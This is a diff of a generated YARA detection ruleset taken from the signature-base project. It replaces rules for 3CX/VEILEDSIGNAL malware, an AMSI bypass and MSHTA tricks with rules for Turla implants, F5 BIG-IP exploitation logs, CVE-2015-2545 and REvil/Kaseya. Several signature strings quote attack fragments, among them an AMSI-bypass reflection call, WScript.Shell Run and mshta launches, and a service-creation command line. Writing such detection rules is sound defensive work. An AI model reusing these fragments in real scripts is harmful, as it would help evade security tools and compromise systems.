-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1f57a2af4a5b9e71e2b72ddc3839400731d9d37eb4349c393b37b3f86c0c7f73"
-		score = 80
+		reference = "https://ghostbin.com/paste/jsph7"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla.yar#L152-L169"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2386abf8afdf8ed9cfd55cb3dcbb998eb732744c601fd9af701cf64c366a0e62"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "8ab3a5eaaf8c296080fadf56b265194681d7da5da7c02562953a4cb60e147423"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "180b920e9cea712d124ff41cd1060683a14a79285d960e17f0f49b969f15bfcc"
 
 	strings:
-		$s1 = "{\"HostName\": \"%s\", \"DomainName\": \"%s\", \"OsVersion\": \"%d.%d.%d\"}" wide fullword
-		$s2 = "******************************** %s ******************************" wide fullword
-		$s3 = "AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data" wide fullword
-		$s4 = "AppData\\Roaming\\Mozilla\\Firefox\\Profiles" wide fullword
-		$s5 = "SELECT url, title FROM urls ORDER BY id DESC LIMIT 500" wide fullword
-		$s6 = "TEXT value in %s.%s" ascii fullword
-		$op1 = { 48 63 d1 48 63 ce 49 03 d1 49 03 cd 4c 63 c7 e8 87 1f 09 00 8b 45 d0 44 8d 04 37 }
-		$op2 = { 48 8b c8 8b 56 f0 48 89 46 d8 e8 78 8f f8 ff e9 ec 13 00 00 c7 46 20 ff ff ff ff e9 e0 13 00 00 33 ff }
+		$s1 = ".charCodeAt(i % " ascii
+		$s2 = "{WScript.Quit();}" fullword ascii
+		$s3 = ".charAt(i)) << 10) |" ascii
+		$s4 = " = WScript.Arguments;var " ascii
+		$s5 = "= \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";var i;" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <4000KB and 4 of them or 6 of them
+		filesize <200KB and 2 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_MAL_NK_3CX_Macos_Elextron_App_Mar23_1 : FILE
+rule SIGNATURE_BASE_Turla_Kazuarrat : FILE
 {
 	meta:
-		description = "Detects macOS malware used in the 3CX incident"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7a3755d4-37e5-5d3b-93aa-34edb557f2d5"
-		date = "2023-03-31"
+		description = "Detects Turla Kazuar RAT described by DrunkBinary"
+		author = "Markus Neis / Florian Roth"
+		id = "147cc7b7-6dbd-51a2-9501-bcbaec32e20e"
+		date = "2018-04-08"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L306-L328"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "00dd28c3edd94e04e35ee9e3a43c30b5a0a1ad21ec8ecf2099bbeb9de2fca8d0"
-		score = 80
+		reference = "https://twitter.com/DrunkBinary/status/982969891975319553"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla.yar#L173-L192"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d7f15fe8e33a9e3516eab5c3c5664aeee25d1d153f01b888a50dd2accba432ca"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "51079c7e549cbad25429ff98b6d6ca02dc9234e466dd9b75a5e05b9d7b95af72"
-		hash2 = "f7ba7f9bf608128894196cf7314f68b78d2a6df10718c8e0cd64dbe3b86bc730"
+		hash1 = "6b5d9fca6f49a044fd94c816e258bf50b1e90305d7dab2e0480349e80ed2a0fa"
+		hash2 = "7594fab1aadc4fb08fb9dbb27c418e8bc7f08dadb2acf5533dc8560241ecfc1d"
+		hash3 = "4e5a86e33e53931afe25a8cb108f53f9c7e6c6a731b0ef4f72ce638d0ea5c198"
 
 	strings:
-		$a1 = "com.apple.security.cs.allow-unsigned-executable-memory" ascii
-		$a2 = "com.electron.3cx-desktop-app" ascii fullword
-		$s1 = "s8T/RXMlALbXfowom9qk15FgtdI=" ascii
-		$s2 = "o8NQKPJE6voVZUIGtXihq7lp0cY=" ascii
+		$x1 = "~1.EXE" wide
+		$s2 = "dl32.dll" fullword ascii
+		$s3 = "HookProc@" ascii
+		$s4 = "0`.wtf" fullword ascii
 
 	condition:
-		uint16(0)==0xfacf and filesize <400KB and ( all of ($a*) and 1 of ($s*))
+		uint16(0)==0x5a4d and filesize <20KB and (pe.imphash()=="682156c4380c216ff8cb766a2f2e8817" or 2 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_MAL_3Cxdesktopapp_Macos_Updateagent_Mar23 : FILE
+rule SIGNATURE_BASE_MAL_Turla_Agent_BTZ : FILE
 {
 	meta:
-		description = "Detects 3CXDesktopApp MacOS UpdateAgent backdoor component"
+		description = "Detects Turla Agent.BTZ"
 		author = "Florian Roth (Nextron Systems)"
-		id = "596eb6d0-f96f-5106-ae67-9372d238e4cf"
-		date = "2023-03-30"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/patrickwardle/status/1641692164303515653?s=20"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L330-L354"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9e9a5f8d86356796162cee881c843cde9eaedfb3"
-		logic_hash = "0818a8f0b59a9baaefaa0b505f8261e0e0df283e79da8e95dc71e9afdca224ab"
-		score = 80
+		id = "bd642f11-19f6-5178-b978-1215215fea86"
+		date = "2018-04-12"
+		modified = "2023-01-06"
+		reference = "https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla.yar#L195-L226"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3a091d29ef5981b9ab9c0e4114fef9de70acbcbc8ea8518183a567459e1086fa"
+		score = 90
 		quality = 85
 		tags = "FILE"
+		hash1 = "c4a1cd6916646aa502413d42e6e7441c6e7268926484f19d9acbf5113fc52fc8"
 
 	strings:
-		$a1 = "/3CX Desktop App/.main_storage" ascii
-		$x1 = ";3cx_auth_token_content=%s;__tutma=true"
-		$s1 = "\"url\": \"https://"
-		$s3 = "/dev/null"
-		$s4 = "\"AccountName\": \""
+		$x1 = "1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s" fullword ascii
+		$x3 = "mstotreg.dat" fullword ascii
+		$x4 = "Bisuninst.bin" fullword ascii
+		$x5 = "mfc42l00.pdb" fullword ascii
+		$x6 = "ielocal~f.tmp" fullword ascii
+		$s1 = "%s\\1.txt" fullword ascii
+		$s2 = "%windows%" fullword ascii
+		$s3 = "%s\\system32" fullword ascii
+		$s4 = "\\Help\\SYSTEM32\\" ascii
+		$s5 = "%windows%\\mfc42l00.pdb" ascii
+		$s6 = "Size of log(%dB) is too big, stop write." fullword ascii
+		$s7 = "Log: Size of log(%dB) is too big, stop write." fullword ascii
+		$s8 = "%02d.%02d.%04d Log begin:" fullword ascii
+		$s9 = "\\system32\\win.com" ascii
 
 	condition:
-		uint16(0)==0xfeca and filesize <6MB and (1 of ($x*) or ($a1 and all of ($s*))) or all of them
+		uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 4 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_MAL_VEILEDSIGNAL_Backdoor_Apr23_2
+rule SIGNATURE_BASE_MAL_Turla_Sample_May18_1 : FILE
 {
 	meta:
-		description = "Detects malicious VEILEDSIGNAL backdoor"
-		author = "X__Junior"
-		id = "ff1fa0bd-19b7-553a-9506-bc5aa5d29056"
-		date = "2023-04-29"
+		description = "Detects Turla samples"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5052838f-a895-55cb-abcf-813465074127"
+		date = "2018-05-03"
 		modified = "2023-12-05"
-		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L373-L392"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c4887a5cd6d98e273ba6e9ea3c1d8f770ef26239819ea24a1bfebd81d6870505"
-		logic_hash = "a15f7f06be5e620baf33d595afc35246dae0307978984af832940a74ef2c84eb"
-		score = 80
+		reference = "https://twitter.com/omri9741/status/991942007701598208"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla.yar#L228-L250"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f5bb26bc787acb89fe5a337121aabc0cd15ed3fd5cbe64ef4e7031e04dc14fb1"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4c49c9d601ebf16534d24d2dd1cab53fde6e03902758ef6cff86be740b720038"
+		hash2 = "77cbd7252a20f2d35db4f330b9c4b8aa7501349bc06bbcc8f40ae13d01ae7f8f"
 
 	strings:
-		$sa1 = "\\.\\pipe\\gecko.nativeMessaging" ascii
-		$sa2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" ascii
-		$sa3 = "application/json, text/javascript, */*; q=0.01" ascii
-		$op1 = { 89 7? 24 ?? 44 8B CD 4C 8B C? 48 89 44 24 ?? 33 D2 33 C9 FF 15}
-		$op2 = { 4C 8B CB 4C 89 74 24 ?? 4C 8D 05 ?? ?? ?? ?? 44 89 74 24 ?? 33 D2 33 C9 FF 15}
-		$op3 = { 48 89 74 24 ?? 45 33 C0 89 74 24 ?? 41 B9 ?? ?? ?? ?? 89 74 24 ?? 48 8B D8 48 C7 00 ?? ?? ?? ?? 48 8B 0F 41 8D 50 ?? 48 89 44 24 ?? 89 74 24 ?? FF 15}
+		$x1 = "sc %s create %s binPath= \"cmd.exe /c start %%SystemRoot%%\\%s\">>%s" fullword ascii
+		$x2 = "cmd.exe /c start %%SystemRoot%%\\%s" fullword ascii
+		$x3 = "cmd.exe /c %s\\%s -s %s:%s:%s -c \"%s %s /wait 1\">>%s" fullword ascii
+		$x4 = "Read InjectLog[%dB]********************************" fullword ascii
+		$x5 = "%s\\System32\\011fe-3420f-ff0ea-ff0ea.tmp" fullword ascii
+		$x6 = "**************************** Begin ini %s [%d]***********************************************" fullword ascii
+		$x7 = "%s -o %s -i %s -d exec2 -f %s" fullword ascii
+		$x8 = "Logon to %s failed: code %d(User:%s,Pass:%s)" fullword ascii
+		$x9 = "system32\\dxsnd32x.exe" fullword ascii
 
 	condition:
-		all of ($op*) or all of ($sa*)
+		uint16(0)==0x5a4d and filesize <500KB and 1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_MAL_VEILEDSIGNAL_Backdoor_Apr23_3
+rule SIGNATURE_BASE_APT_MAL_LNX_Turla_Apr20_1 : FILE
 {
 	meta:
-		description = "Detects malicious VEILEDSIGNAL backdoor"
-		author = "X__Junior"
-		id = "6b6f984e-242a-5b84-baa9-6311992cde9b"
-		date = "2023-04-29"
+		description = "Detects Turla Linux malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f21e7793-a7dd-5195-805d-963827b35808"
+		date = "2020-04-05"
 		modified = "2023-12-05"
-		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L394-L410"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "595392959b609caf088d027a23443cf2fefd043607ccdec3de19ad3bb43a74b1"
-		logic_hash = "58f860926db4a7dfefbd39ee35efaa0081b7e31a361efce02f5144266ab652a6"
-		score = 80
+		reference = "https://twitter.com/Int2e_/status/1246115636331319309"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla.yar#L252-L272"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d463f5a151bb0c3440d719b4c7c0d1ca34de1e0bed7fb9167ecf396607abd3ff"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502"
+		hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc"
 
 	strings:
-		$op1 = { 4C 8B CB 4C 89 74 24 ?? 4C 8D 05 ?? ?? ?? ?? 44 89 74 24 ?? 33 D2 33 C9 FF 15}
-		$op2 = { 89 7? 24 ?? 44 8B CD 4C 8B C? 48 89 44 24 ?? 33 D2 33 C9 FF 15}
-		$op3 = { 8B 54 24 ?? 4C 8D 4C 24 ?? 45 8D 46 ?? 44 89 74 24 ?? 48 8B CB FF 15}
-		$op4 = { 48 8D 44 24 ?? 45 33 C9 41 B8 01 00 00 40 48 89 44 24 ?? 41 8B D5 48 8B CF FF 15}
+		$s1 = "/root/.hsperfdata" ascii fullword
+		$s2 = "Desc|     Filename     |  size  |state|" ascii fullword
+		$s3 = "IPv6 address %s not supported" ascii fullword
+		$s4 = "File already exist on remote filesystem !" ascii fullword
+		$s5 = "/tmp/.sync.pid" ascii fullword
+		$s6 = "'gateway' supported only on ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel" ascii fullword
 
 	condition:
-		all of them
+		uint16(0)==0x457f and filesize <5000KB and 4 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_MAL_VEILEDSIGNAL_Backdoor_Apr23_4
+rule SIGNATURE_BASE_APT_MAL_Tinyturla_Sep21_1 : FILE
 {
 	meta:
-		description = "Detects malicious VEILEDSIGNAL backdoor"
-		author = "X__Junior"
-		id = "77340ec0-36bb-5c47-995f-4e6f76b68fe1"
-		date = "2023-04-29"
+		description = "Detects Tiny Turla backdoor DLL"
+		author = "Cisco Talos"
+		id = "19659ac7-310a-52dd-a94c-022c7add752b"
+		date = "2021-09-21"
 		modified = "2023-12-05"
-		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L412-L428"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9b0761f81afb102bb784b398b16faa965594e469a7fcfdfd553ced19cc17e70b"
-		logic_hash = "ad22df404d948073428fc35b0c8fbfea25da3bc66e46ea6397ff751ae65d5939"
-		score = 80
+		reference = "https://blog.talosintelligence.com/2021/09/tinyturla.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla.yar#L275-L295"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ede598374bc4a8a870aa29498be4200b4a3d7b289dfcb680fb3f91108d212bca"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "030cbd1a51f8583ccfc3fa38a28a5550dc1c84c05d6c0f5eb887d13dedf1da01"
 
 	strings:
-		$op1 = { 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 }
-		$op2 = { 48 8B C8 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 45 33 C0 4C 8D 4D ?? B2 01 41 8D 48 ?? FF D0}
-		$op3 = { 33 FF C7 44 24 ?? 38 02 00 00 33 D2 8D 4F ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 FF 74 ?? 48 8D 54 24 ?? 48 8B C8 FF 15 }
-		$op4 = { 4C 8D 05 ?? ?? ?? ?? 48 89 4C 24 ?? 4C 8B C8 33 D2 89 4C 24 ?? FF 15 }
+		$a = "Title: " fullword wide
+		$b = "Hosts" fullword wide
+		$c = "Security" fullword wide
+		$d = "TimeLong" fullword wide
+		$e = "TimeShort" fullword wide
+		$f = "MachineGuid" fullword wide
+		$g = "POST" fullword wide
+		$h = "WinHttpSetOption" fullword ascii
+		$i = "WinHttpQueryDataAvailable" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <25KB and all of them
 }
-rule SIGNATURE_BASE_PS_AMSI_Bypass : FILE
+rule SIGNATURE_BASE_LOG_F5_BIGIP_Exploitation_Artefacts_CVE_2021_22986_Mar21_1 : LOG
 {
 	meta:
-		description = "Detects PowerShell AMSI Bypass"
+		description = "Detects forensic artefacts indicating successful exploitation of F5 BIG IP appliances as reported by NCCGroup"
 		author = "Florian Roth (Nextron Systems)"
-		id = "31ab8932-4c74-5251-a044-3fcc0aa159f4"
-		date = "2017-07-19"
+		id = "e109ebeb-e5c3-5999-95dc-0963ed8461a6"
+		date = "2021-03-20"
 		modified = "2023-12-05"
-		reference = "https://gist.github.com/mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_scripts.yar#L4-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "87188c6cbb7d89c25faafb297a7c0e52321c661c84cdefd5604785c687190fcd"
-		score = 65
+		reference = "https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_f5_bigip_cve_2021_22986_log.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "748bb429d4a086e2890773558ea502ef06f507aed5f0f70470e2cd97a3fd5007"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "LOG"
 
 	strings:
-		$s1 = ".GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static')." ascii nocase
+		$x1 = "\",\"method\":\"POST\",\"uri\":\"http://localhost:8100/mgmt/tm/util/bash\",\"status\":200," ascii
+		$x2 = "[com.f5.rest.app.RestServerServlet] X-F5-Auth-Token doesn't have value, so skipping" ascii
 
 	condition:
 		1 of them
 }
-rule SIGNATURE_BASE_JS_Suspicious_Obfuscation_Dropbox
+rule SIGNATURE_BASE_Exp_EPS_CVE20152545 : CVE_2015_2545 FILE
 {
 	meta:
-		description = "Detects PowerShell AMSI Bypass"
+		description = "Detects EPS Word Exploit CVE-2015-2545"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9b6b288d-3a15-5267-bbb1-885febf4df78"
+		id = "9a5f0554-b588-5b82-93df-0fdfba2af2da"
 		date = "2017-07-19"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/ItsReallyNick/status/887705105239343104"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_scripts.yar#L19-L33"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "19d1dd25c4a5e18dca131709a64c3537278754ec9d67b0bb49bde9b1493d3dc7"
+		reference = "Internal Research - ME"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2015_2545.yar#L2-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e1aac80a06dd71352d2776b4dfccce901d47363459853a37669af69be6e962c7"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "CVE-2015-2545, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "j\"+\"a\"+\"v\"+\"a\"+\"s\"+\"c\"+\"r\"+\"i\"+\"p\"+\"t\""
-		$x2 = "script:https://www.dropbox.com" ascii
+		$s1 = "word/media/image1.eps" ascii
+		$s2 = "-la;7(la+" ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x4b50 and ($s1 and #s2>20)
 }
-rule SIGNATURE_BASE_JS_Suspicious_MSHTA_Bypass
+rule SIGNATURE_BASE_Malware_JS_Powershell_Obfuscated : FILE
 {
 	meta:
-		description = "Detects MSHTA Bypass"
+		description = "Unspecified malware - file rechnung_3.js"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b2ddca78-c19a-5bb6-a1c9-4413e637ab1d"
-		date = "2017-07-19"
+		id = "7995dd3a-5942-5c48-9e50-64f4964249a7"
+		date = "2017-03-24"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/ItsReallyNick/status/887705105239343104"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_scripts.yar#L35-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "df68cac0da19c5705353f26fc3f2a99556b7230f9d4f52e7a2e35cb48997b699"
-		score = 70
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_javascript_powershell.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1dd745624971f10acb7911433f363b0cf20c8c45344f702d7f3549c58689b371"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3af15a2d60f946e0c4338c84bd39880652f676dc884057a96a10d7f802215760"
 
 	strings:
-		$s1 = "mshtml,RunHTMLApplication" ascii
-		$s2 = "new ActiveXObject(\"WScript.Shell\").Run(" ascii
-		$s3 = "/c start mshta j" ascii nocase
+		$x1 = "po\" + \"wer\" + \"sh\" + \"e\" + \"ll\";" fullword ascii
 
 	condition:
-		2 of them
+		filesize <30KB and 1 of them
 }
-rule SIGNATURE_BASE_Javascript_Run_Suspicious
+import "pe"
+
+rule SIGNATURE_BASE_APT_MAL_Revil_Kaseya_Jul21_1 : FILE
 {
 	meta:
-		description = "Detects a suspicious Javascript Run command"
+		description = "Detects malware used in the Kaseya supply chain attack"
 		author = "Florian Roth (Nextron Systems)"
-		id = "87f98ead-3052-5777-8877-574619173aaa"
-		date = "2017-08-23"
+		id = "7356f4ea-183f-52ec-a167-fc16b8bfb55a"
+		date = "2021-07-02"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/craiu/status/900314063560998912"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_scripts.yar#L52-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "39d2292d3749c63780dc7ca7a2414ba02e2b0e1edec7ec6a16b42aba2c44c23a"
-		score = 60
+		reference = "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_revil_general.yar#L3-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a7f9fa8f8e8a3a25728aa6a334924e0b4075f3422df6b92a2f544bb0ebb6bfad"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "1fe9b489c25bb23b04d9996e8107671edee69bd6f6def2fe7ece38a0fb35f98e"
+		hash2 = "aae6e388e774180bc3eb96dad5d5bfefd63d0eb7124d68b6991701936801f1c7"
+		hash3 = "dc6b0e8c1e9c113f0364e1c8370060dee3fcbe25b667ddeca7623a95cd21411f"
+		hash4 = "df2d6ef0450660aaae62c429610b964949812df2da1c57646fc29aa51c3f031e"
 
 	strings:
-		$s1 = "w = new ActiveXObject(" ascii
-		$s2 = " w.Run(r);" fullword ascii
+		$s1 = "Mpsvc.dll" wide fullword
+		$s2 = ":0:4:8:<:@:D:H:L:P:T:X:\\:`:d:h:l:p:t:x:H<L<P<\\<`<" ascii fullword
+		$op1 = { 40 87 01 c3 6a 08 68 f8 0e 41 00 e8 ae db ff ff be 80 25 41 00 39 35 ?? 32 41 00 }
+		$op2 = { 8b 40 04 2b c2 c1 f8 02 3b c8 0f 84 56 ff ff ff 68 15 50 40 00 2b c1 6a 04 }
+		$op3 = { 74 73 db e2 e8 ad 07 00 00 68 60 1a 40 00 e8 8f 04 00 00 e8 3a 05 00 00 50 e8 25 26 00 00 }
+		$op4 = { 75 05 8b 45 fc eb 4c c7 45 f8 00 00 00 00 6a 00 8d 45 f0 50 8b 4d 0c }
+		$op5 = { 83 7d 0c 00 75 05 8b 45 fc eb 76 6a 00 68 80 00 00 00 6a 01 6a 00 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <3000KB and (pe.imphash()=="c36dcd2277c4a707a1a645d0f727542a" or 2 of them )
 }
-rule SIGNATURE_BASE_Certutil_Decode_OR_Download : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_MAL_Revil_Kaseya_Jul21_2 : FILE
 {
 	meta:
-		description = "Certutil Decode"
+		description = "Detects malware used in the Kaseya supply chain attack"
 		author = "Florian Roth (Nextron Systems)"
-		id = "63bdefd2-225a-56d5-b615-5e236c97f050"
-		date = "2017-08-29"
-		modified = "2023-10-19"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_scripts.yar#L70-L93"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5640dcfedc028cc40b0376d328758b504eb1ff860da94648b435eadb760d9724"
-		score = 40
+		id = "38b168d4-e761-544e-9859-eb155bbfe54a"
+		date = "2021-07-02"
+		modified = "2023-12-05"
+		reference = "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_revil_general.yar#L32-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "44948d93c71370a9976f22bf78cd1af80359f2c9804ea7995791109785cfaf84"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402"
+		hash2 = "8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd"
+		hash3 = "cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6"
+		hash4 = "d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f"
